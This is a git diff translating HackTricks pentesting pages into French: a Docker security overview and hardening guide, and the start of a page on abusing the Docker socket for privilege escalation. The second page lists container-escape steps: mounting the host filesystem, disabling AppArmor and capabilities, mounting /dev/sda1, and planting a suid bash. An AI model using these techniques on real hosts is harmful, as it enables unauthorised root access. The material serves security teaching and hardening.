-156,30 +145,30 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca #### Seccomp -It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\ -The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) +Il est activé par défaut dans Docker. Il aide à **limiter encore plus les appels système** que le processus peut appeler.\ +Le **profil Docker Seccomp par défaut** peut être trouvé dans [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) #### AppArmor -Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +Docker a un modèle que vous pouvez activer: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -This will allow to reduce capabilities, syscalls, access to files and folders... +Cela permettra de réduire les capacités, les appels système, l'accès aux fichiers et dossiers...
### Namespaces -**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces. +**Les espaces de noms** sont une fonctionnalité du noyau Linux qui **partitionne les ressources du noyau** de sorte qu'un ensemble de **processus voit** un ensemble de **ressources** tandis qu'un autre ensemble de **processus** voit un **ensemble différent** de ressources. La fonctionnalité fonctionne en ayant le même espace de noms pour un ensemble de ressources et de processus, mais ces espaces de noms font référence à des ressources distinctes. Les ressources peuvent exister dans plusieurs espaces. -Docker makes use of the following Linux kernel Namespaces to achieve Container isolation: +Docker utilise les espaces de noms du noyau Linux suivants pour atteindre l'isolation des conteneurs: -* pid namespace -* mount namespace -* network namespace -* ipc namespace -* UTS namespace +* espace de noms pid +* espace de noms de montage +* espace de noms réseau +* espace de noms ipc +* espace de noms UTS -For **more information about the namespaces** check the following page: +Pour **plus d'informations sur les espaces de noms**, consultez la page suivante: {% content-ref url="namespaces/" %} [namespaces](namespaces/) @@ -187,58 +176,54 @@ For **more information about the namespaces** check the following page: ### cgroups -Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\ -Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Container’s CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Container’s IO. It has a default value of 500 and range between 10 and 1000. - +La fonctionnalité du noyau Linux **cgroups** fournit la capacité de **restreindre les ressources telles que le CPU, la mémoire, l'E / S, la bande passante réseau parmi** un ensemble de processus. Docker permet de créer des conteneurs en utilisant la fonctionnalité cgroup qui permet un contrôle des ressources pour le conteneur spécifique.\ +Voici un conteneur créé avec une mémoire d'espace utilisateur limitée à 500 Mo, une mémoire de noyau limitée à 50 Mo, une part de CPU à 512, un poids de blkioweight à 400. La part de CPU est un ratio qui contrôle l'utilisation du CPU du conteneur. Il a une valeur par défaut de 1024 et une plage entre 0 et 1024. Si trois conteneurs ont la même part de CPU de 1024, chaque conteneur peut prendre jusqu'à 33% du CPU en cas de contention des ressources CPU. blkio-weight est un ratio qui contrôle l'E / S du conteneur. Il a une valeur par défaut de 500 et une plage entre 10 et 1000. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` - -To get the cgroup of a container you can do: - +Pour obtenir le cgroup d'un conteneur, vous pouvez faire : ```bash docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` - -For more information check: +Pour plus d'informations, consultez : {% content-ref url="cgroups.md" %} [cgroups.md](cgroups.md) {% endcontent-ref %} -### Capabilities +### Capacités -Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user. +Les capacités permettent un **contrôle plus fin des capacités qui peuvent être autorisées** pour l'utilisateur root. Docker utilise la fonctionnalité de capacité du noyau Linux pour **limiter les opérations qui peuvent être effectuées à l'intérieur d'un conteneur** indépendamment du type d'utilisateur. -When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape: +Lorsqu'un conteneur Docker est exécuté, le **processus abandonne les capacités sensibles que le processus pourrait utiliser pour s'échapper de l'isolation**. Cela tente d'assurer que le processus ne pourra pas effectuer d'actions sensibles et s'échapper : {% content-ref url="../linux-capabilities.md" %} [linux-capabilities.md](../linux-capabilities.md) {% endcontent-ref %} -### Seccomp in Docker +### Seccomp dans Docker -This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container: +Il s'agit d'une fonctionnalité de sécurité qui permet à Docker de **limiter les appels système** qui peuvent être utilisés à l'intérieur du conteneur : {% content-ref url="seccomp.md" %} [seccomp.md](seccomp.md) {% endcontent-ref %} -### AppArmor in Docker +### AppArmor dans Docker -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.: +**AppArmor** est une amélioration du noyau pour confiner les **conteneurs** à un **ensemble limité de ressources** avec des **profils par programme** : {% content-ref url="apparmor.md" %} [apparmor.md](apparmor.md) {% endcontent-ref %} -### SELinux in Docker +### SELinux dans Docker -[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system. +[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) est un **système d'étiquetage**. Chaque **processus** et chaque **objet de système de fichiers** a une **étiquette**. Les politiques SELinux définissent des règles sur ce qu'une **étiquette de processus est autorisée à faire avec toutes les autres étiquettes** sur le système. -Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. +Les moteurs de conteneurs lancent des **processus de conteneurs avec une seule étiquette SELinux confinée**, généralement `container_t`, puis définissent le conteneur à l'intérieur du conteneur pour être étiqueté `container_file_t`. Les règles de la politique SELinux disent essentiellement que les **processus `container_t` ne peuvent lire/écrire/exécuter que des fichiers étiquetés `container_file_t`**. {% content-ref url="../selinux.md" %} [selinux.md](../selinux.md) @@ -246,17 +231,17 @@ Container engines launch **container processes with a single confined SELinux la ### AuthZ & AuthN -An authorization plugin **approves** or **denies** **requests** to the Docker **daemon** based on both the current **authentication** context and the **command** **context**. The **authentication** **context** contains all **user details** and the **authentication** **method**. The **command context** contains all the **relevant** **request** data. +Un plugin d'autorisation **approuve** ou **refuse** les **demandes** au démon Docker en fonction du contexte **d'authentification** actuel et du contexte de **commande**. Le contexte d'**authentification** contient tous les **détails de l'utilisateur** et la **méthode d'authentification**. Le contexte de **commande** contient toutes les données de **demande** **pertinentes**. {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) {% endcontent-ref %} -## Interesting Docker Flags +## Intéressants drapeaux Docker -### --privileged flag +### Drapeau --privileged -In the following page you can learn **what does the `--privileged` flag imply**: +Sur la page suivante, vous pouvez apprendre **ce que signifie le drapeau `--privileged`** : {% content-ref url="docker-privileged.md" %} [docker-privileged.md](docker-privileged.md) @@ -266,16 +251,13 @@ In the following page you can learn **what does the `--privileged` flag imply**: #### no-new-privileges -If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it. - -Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**. +Si vous exécutez un conteneur où un attaquant parvient à accéder en tant qu'utilisateur à faible privilège. Si vous avez un **binaire suid mal configuré**, l'attaquant peut l'exploiter et **escalader les privilèges à l'intérieur** du conteneur. Ce qui peut lui permettre de s'échapper. +L'exécution du conteneur avec l'option **`no-new-privileges`** activée **empêchera ce type d'escalade de privilèges**. ``` docker run -it --security-opt=no-new-privileges:true nonewpriv ``` - -#### Other - +#### Autre ```bash #You can manually add/drop capabilities with --cap-add @@ -290,52 +272,48 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv # You can manually disable selinux in docker with --security-opt label:disable ``` - -For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) +Pour plus d'options **`--security-opt`**, consultez: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) ![](<../../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Other Security Considerations +## Autres considérations de sécurité -### Managing Secrets +### Gestion des secrets -First of all, **do not put them inside your image!** +Tout d'abord, **ne les mettez pas à l'intérieur de votre image !** -Also, **don’t use environment variables** for your sensitive info, either. Anyone w**ho can run `docker inspect` or `exec` into the container can find your secret**. +De plus, **n'utilisez pas de variables d'environnement** pour vos informations sensibles. Toute personne qui peut exécuter `docker inspect` ou `exec` dans le conteneur peut trouver votre secret. -Docker volumes are better. They are the recommended way to access your sensitive info in the Docker docs. You can **use a volume as temporary file system held in memory**. Volumes remove the `docker inspect` and the logging risk. However, **root users could still see the secret, as could anyone who can `exec` into the container**. +Les volumes Docker sont meilleurs. Ils sont la méthode recommandée pour accéder à vos informations sensibles dans la documentation Docker. Vous pouvez **utiliser un volume comme système de fichiers temporaire stocké en mémoire**. Les volumes éliminent le risque de `docker inspect` et de journalisation. Cependant, **les utilisateurs root pourraient toujours voir le secret, tout comme toute personne qui peut `exec` dans le conteneur**. -Even **better than volumes, use Docker secrets**. +Mieux encore que les volumes, utilisez les secrets Docker. -If you just need the **secret in your image**, you can use **BuildKit**. BuildKit cuts build time significantly and has other nice features, including **build-time secrets support**. +Si vous avez juste besoin du **secret dans votre image**, vous pouvez utiliser **BuildKit**. BuildKit réduit considérablement le temps de construction et possède d'autres fonctionnalités intéressantes, notamment **la prise en charge des secrets au moment de la construction**. -There are three ways to specify the BuildKit backend so you can use its features now.: - -1. Set it as an environment variable with `export DOCKER_BUILDKIT=1`. -2. Start your `build` or `run` command with `DOCKER_BUILDKIT=1`. -3. Enable BuildKit by default. Set the configuration in /_etc/docker/daemon.json_ to _true_ with: `{ "features": { "buildkit": true } }`. Then restart Docker. -4. Then you can use secrets at build time with the `--secret` flag like this: +Il existe trois façons de spécifier le backend BuildKit afin que vous puissiez utiliser ses fonctionnalités maintenant : +1. Définissez-le en tant que variable d'environnement avec `export DOCKER_BUILDKIT=1`. +2. Démarrez votre commande `build` ou `run` avec `DOCKER_BUILDKIT=1`. +3. Activez BuildKit par défaut. Définissez la configuration dans /_etc/docker/daemon.json_ sur _true_ avec : `{ "features": { "buildkit": true } }`. Puis redémarrez Docker. +4. Ensuite, vous pouvez utiliser des secrets au moment de la construction avec le drapeau `--secret` comme ceci: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` +Lorsque votre fichier spécifie vos secrets sous forme de paires clé-valeur. -Where your file specifies your secrets as key-value pair. +Ces secrets sont exclus du cache de construction de l'image et de l'image finale. -These secrets are excluded from the image build cache. and from the final image. +Si vous avez besoin de votre **secret dans votre conteneur en cours d'exécution**, et pas seulement lors de la construction de votre image, utilisez **Docker Compose ou Kubernetes**. -If you need your **secret in your running container**, and not just when building your image, use **Docker Compose or Kubernetes**. - -With Docker Compose, add the secrets key-value pair to a service and specify the secret file. Hat tip to [Stack Exchange answer](https://serverfault.com/a/936262/535325) for the Docker Compose secrets tip that the example below is adapted from. - -Example docker-compose.yml with secrets: +Avec Docker Compose, ajoutez la paire clé-valeur des secrets à un service et spécifiez le fichier secret. Un grand merci à la réponse de [Stack Exchange](https://serverfault.com/a/936262/535325) pour le conseil sur les secrets de Docker Compose, dont l'exemple ci-dessous est adapté. +Exemple de docker-compose.yml avec des secrets: ```yaml version: "3.7" @@ -351,89 +329,56 @@ secrets: my_secret: file: ./my_secret_file.txt ``` +Ensuite, lancez Compose comme d'habitude avec `docker-compose up --build my_service`. -Then start Compose as usual with `docker-compose up --build my_service`. - -If you’re using [Kubernetes](https://kubernetes.io/docs/concepts/configuration/secret/), it has support for secrets. [Helm-Secrets](https://github.com/futuresimple/helm-secrets) can help make secrets management in K8s easier. Additionally, K8s has Role Based Access Controls (RBAC) — as does Docker Enterprise. RBAC makes access Secrets management more manageable and more secure for teams. +Si vous utilisez [Kubernetes](https://kubernetes.io/docs/concepts/configuration/secret/), il prend en charge les secrets. [Helm-Secrets](https://github.com/futuresimple/helm-secrets) peut aider à faciliter la gestion des secrets dans K8s. De plus, K8s dispose de contrôles d'accès basés sur les rôles (RBAC) - tout comme Docker Enterprise. RBAC rend la gestion des secrets plus facile et plus sécurisée pour les équipes. ### gVisor -**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers. +**gVisor** est un noyau d'application, écrit en Go, qui implémente une partie substantielle de la surface du système Linux. Il inclut un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) appelé `runsc` qui fournit une **frontière d'isolation entre l'application et le noyau hôte**. Le runtime `runsc` s'intègre à Docker et Kubernetes, ce qui permet de lancer facilement des conteneurs sandbox. {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense. +**Kata Containers** est une communauté open source qui travaille à la construction d'un runtime de conteneur sécurisé avec des machines virtuelles légères qui se comportent et fonctionnent comme des conteneurs, mais qui offrent une **isolation de charge de travail plus forte en utilisant la technologie de virtualisation matérielle** comme deuxième couche de défense. {% embed url="https://katacontainers.io/" %} -### Summary Tips +### Conseils de résumé -* **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. -* Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. -* [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack. -* [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries. -* [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks. -* **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required. -* **Use** [**official docker images**](https://docs.docker.com/docker-hub/official\_images/) **and require signatures** or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP. -* **Regularly** **rebuild** your images to **apply security patches to the host an images.** -* Manage your **secrets wisely** so it's difficult to the attacker to access them. -* If you **exposes the docker daemon use HTTPS** with client & server authentication. -* In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesn’t have these capabilities. Whenever possible, avoid using ADD so you aren’t susceptible to attacks through remote URLs and Zip files. -* Have **separate containers for each micro-s**ervice -* **Don’t put ssh** inside container, “docker exec” can be used to ssh to Container. -* Have **smaller** container **images** +* **Ne pas utiliser le drapeau `--privileged` ou monter un** [**socket Docker à l'intérieur du conteneur**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Le socket Docker permet de créer des conteneurs, il est donc facile de prendre le contrôle total de l'hôte, par exemple, en exécutant un autre conteneur avec le drapeau `--privileged`. +* Ne **pas exécuter en tant que root à l'intérieur du conteneur. Utilisez un** [**utilisateur différent**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **et des** [**espaces de noms utilisateur**](https://docs.docker.com/engine/security/userns-remap/)**.** Le root dans le conteneur est le même que sur l'hôte sauf s'il est remappé avec des espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups. +* [**Abandonnez toutes les capacités**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) et n'activez que celles qui sont nécessaires** (`--cap-add=...`). Beaucoup de charges de travail n'ont pas besoin de capacités et leur ajout augmente la portée d'une attaque potentielle. +* [**Utilisez l'option de sécurité "no-new-privileges"**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) pour empêcher les processus de gagner plus de privilèges, par exemple via des binaires suid. +* [**Limitez les ressources disponibles pour le conteneur**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Les limites de ressources peuvent protéger la machine contre les attaques de déni de service. +* **Ajustez les profils** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** pour restreindre les actions et les appels système disponibles pour le conteneur au minimum requis. +* **Utilisez des images Docker officielles** [**(https://docs.docker.com/docker-hub/official\_images/)**](https://docs.docker.com/docker-hub/official_images/) **et exigez des signatures** ou construisez les vôtres en fonction d'elles. N'héritez pas ou n'utilisez pas d'images [compromises](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Stockez également les clés racines, la phrase secrète dans un endroit sûr. Docker a prévu de gérer les clés avec UCP. +* **Reconstruisez régulièrement** vos images pour **appliquer les correctifs de sécurité à l'hôte et aux images.** +* Gérez vos **secrets avec sagesse** pour qu'il soit difficile pour l'attaquant de les accéder. +* Si vous **exposez le démon Docker, utilisez HTTPS** avec l'authentification client et serveur. +* Dans votre Dockerfile, **privilégiez COPY plutôt que ADD**. ADD extrait automatiquement les fichiers zippés et peut copier des fichiers à partir d'URL. COPY n'a pas ces capacités. Dans la mesure du possible, évitez d'utiliser ADD pour ne pas être vulnérable aux attaques via des URL distantes et des fichiers Zip. +* Avoir **des conteneurs séparés pour chaque micro-service** +* **Ne mettez pas ssh** à l'intérieur du conteneur, "docker exec" peut être utilisé pour ssh vers le conteneur. +* Avoir des images de conteneur **plus petites** -## Docker Breakout / Privilege Escalation +## Évasion de Docker / Élévation de privilèges -If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**: +Si vous êtes **à l'intérieur d'un conteneur Docker** ou si vous avez accès à un utilisateur dans le **groupe docker**, vous pouvez essayer de **s'échapper et d'escalader les privilèges** : {% content-ref url="docker-breakout-privilege-escalation/" %} [docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/) {% endcontent-ref %} -## Docker Authentication Plugin Bypass +## Contournement du plugin d'authentification Docker -If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:** +Si vous avez accès au socket Docker ou si vous avez accès à un utilisateur dans le **groupe docker mais que vos actions sont limitées par un plugin d'authentification Docker**, vérifiez si vous pouvez **le contourner** : {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) {% endcontent-ref %} -## Hardening Docker +## Durcissement de Docker -* The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ - You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). - -## References - -* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) -* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936) -* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html) -* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/) -* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) -* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/) -* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/) -* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces) -* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
- -![](<../../../.gitbook/assets/image (9) (1) (2).png>) - -\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +* L'outil [**docker-bench-security**](https://github.com/docker/docker-bench-security) est un script qui vérifie des dizaines de bonnes pratiques courantes pour le déploiement de conteneurs Docker en production. Les tests sont tous automatisés et sont basés sur le [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ + Vous diff --git a/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index 3dee11cce..66cdababc 100644 --- a/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -1,30 +1,30 @@ -# Abusing Docker Socket for Privilege Escalation +# Abus de la socket Docker pour l'escalade de privilèges
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges: +Il arrive parfois que vous ayez simplement **accès à la socket Docker** et que vous souhaitiez l'utiliser pour **escalader les privilèges**. Certaines actions peuvent être très suspectes et vous voudrez peut-être les éviter, vous trouverez donc ici différents indicateurs qui peuvent être utiles pour escalader les privilèges : -### Via mount +### Via le montage -You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\ -You could also **abuse a mount to escalate privileges** inside the container. +Vous pouvez **monter** différentes parties du **système de fichiers** dans un conteneur en cours d'exécution en tant que root et **y accéder**.\ +Vous pouvez également **abuser d'un montage pour escalader les privilèges** à l'intérieur du conteneur. -* **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.** - * If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like: +* **`-v /:/host`** -> Montez le système de fichiers de l'hôte dans le conteneur pour que vous puissiez **lire le système de fichiers de l'hôte.** + * Si vous voulez **vous sentir comme sur l'hôte** mais être dans le conteneur, vous pouvez désactiver d'autres mécanismes de défense en utilisant des indicateurs tels que : * `--privileged` * `--cap-add=ALL` * `--security-opt apparmor=unconfined` @@ -34,26 +34,26 @@ You could also **abuse a mount to escalate privileges** inside the container. * `--userns=host` * `--uts=host` * `--cgroupns=host` -* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt` - * Run `fdisk -l` in the host to find the `` device to mount -* **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**. +* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Ceci est similaire à la méthode précédente, mais ici nous sommes en train de **monter le disque de l'appareil**. Ensuite, à l'intérieur du conteneur, exécutez `mount /dev/sda1 /mnt` et vous pouvez **accéder** au **système de fichiers de l'hôte** dans `/mnt` + * Exécutez `fdisk -l` sur l'hôte pour trouver le périphérique `` à monter +* **`-v /tmp:/host`** -> Si pour une raison quelconque vous ne pouvez **monter qu'un répertoire** de l'hôte et que vous y avez accès à l'intérieur de l'hôte. Montez-le et créez un **`/bin/bash`** avec **suid** dans le répertoire monté afin que vous puissiez **l'exécuter depuis l'hôte et escalader vers root**. {% hint style="info" %} -Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +Notez que vous ne pouvez peut-être pas monter le dossier `/tmp` mais vous pouvez monter un **répertoire différent accessible en écriture**. Vous pouvez trouver des répertoires accessibles en écriture en utilisant : `find / -writable 